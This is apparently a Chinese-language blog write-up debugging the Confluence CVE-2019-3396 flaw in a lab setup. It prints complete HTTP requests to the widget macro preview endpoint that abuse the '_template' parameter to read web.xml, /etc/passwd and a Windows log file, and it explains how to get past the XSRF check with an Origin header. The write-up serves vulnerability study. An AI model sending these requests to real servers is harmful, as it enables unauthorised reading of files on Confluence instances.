Confluence RCE CVE-2019-3396 详细分析与调试

CVE-2019-3396

1. 环境搭建参考

Atlassian Confluence Path Traversal and Command Execution Vulnerability (CVE-2019-3396)


基于 Atlassian Confluence 6.10.2

2. 描述

Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,
通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,
也可以通过https://...来加载远程文件。

CVE-2019-3396  未授权 RCE 分析 6.6.x-6.9.x
	Installation Directory: C:\Program Files\Atlassian\Confluence
	Home Directory: C:\Program Files\Atlassian\Application Data\Confluence
	HTTP Port: 8090
	RMI  Port: 8000

Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析

1.漏洞点位置截图

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.漏洞所在的 jar

  • 上图表示的 “小工具链接器” 所在类包 com.atlassian.confluence.extra.widgetconnector
widgetconnector-3.1.0.jar

3. 调试

  • “小工具连接器宏” -> “预览” Youtube , 所使用的 .classwidgetconnector-3.1.0.jar!\com\atlassian\confluence\extra\widgetconnector\video\YoutubeRenderer.class

方法 getEmbeddedHtml(String url, Map<String, String> params) 参数 params_template 可由外部传入
在这里插入图片描述

  • 通过 render 方式预览
    在这里插入图片描述

  • render 需要加载 template
    在这里插入图片描述

  • template 是通过 loadResource 方式获取 (提供4种资源加载方式)
    在这里插入图片描述
    在这里插入图片描述

  • 接下来就是利用以下两种资源加载方式来达到利用的效果

velocity-1.6.4-atlassian-9.jar
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader

exp1 : 不可跨目录读取 WEB-INF/web.xml

  • 利用 velocity-1.6.4-atlassian-9.jar:org.apache.velocity.runtime.resource.loader.FileResourceLoader
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://10.0.0.100:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"WEB-INF/web.xml"}}}

或者如下 : 重点是 Origin

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 179
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.0.0.100:8090
Connection: close

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=TzS5wEoHMgM","width":"2000","height":"2000",
"_template":"WEB-INF/web.xml"}}}

若去掉 Origin

HTTP/1.1 403 
X-ASEN: SEN-L19830839
X-Confluence-Cluster-Node: d62e1aa8
X-Content-Type-Options: nosniff
Content-Type: text/html
Date: Wed, 22 Nov 2023 14:01:45 GMT
Connection: close
Content-Length: 17

XSRF check failed
...

在这里插入图片描述
在这里插入图片描述

不可跨目录原因: StringUtil.normalizePath 过滤了 /../

public static final String normalizePath(String path) {
        String normalized = path;
        if (path.indexOf(92) >= 0) {
            normalized = path.replace('\\', '/');
        }

        if (!normalized.startsWith("/")) {
            normalized = "/" + normalized;
        }

        while(true) {
            int index = normalized.indexOf("//");
            if (index < 0) {
                while(true) {
                    index = normalized.indexOf("%20");
                    if (index < 0) {
                        while(true) {
                            index = normalized.indexOf("/./");
                            if (index < 0) {
                                while(true) {
                                    index = normalized.indexOf("/../");
                                    if (index < 0) {
                                        return normalized;
                                    }

                                    if (index == 0) {
                                        return null;
                                    }

                                    int index2 = normalized.lastIndexOf(47, index - 1);
                                    normalized = normalized.substring(0, index2) + normalized.substring(index + 3);
                                }
                            }

                            normalized = normalized.substring(0, index) + normalized.substring(index + 2);
                        }
                    }

                    normalized = normalized.substring(0, index) + " " + normalized.substring(index + 3);
                }
            }

            normalized = normalized.substring(0, index) + normalized.substring(index + 1);
        }
    }

exp2 : 利用 file:// 跨目录读取文件

  • 利用 velocity-1.6.4-atlassian-9.jar:org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.10.250:8090
Content-Length: 213
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.10.10.250:8090
Connection: close

{"contentId":"780","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=TsS5wEoHMgm","width":"200","height":"200",
"_template":"file:///c:/Windows/lsasetup.log"}}}
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 184
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.0.0.100:8090
Connection: close

{"contentId":"780","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=TzS5wEoHMgM","width":"2000","height":"2000",
"_template":"file:///etc/passwd"}}}
  • 使用 ClasspathResourceLoader.getResourceStream 获取资源模板
    在这里插入图片描述
    在这里插入图片描述

  • 首先拼接类资源路径 WebappPath
    在这里插入图片描述

  • 当通过WebappPath 打开流失败时,调用 catalina.jar!\org\apache\catalina\loader\WebappClassLoaderBase.class 父类的 findResource 获取 URL
    在这里插入图片描述
    在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值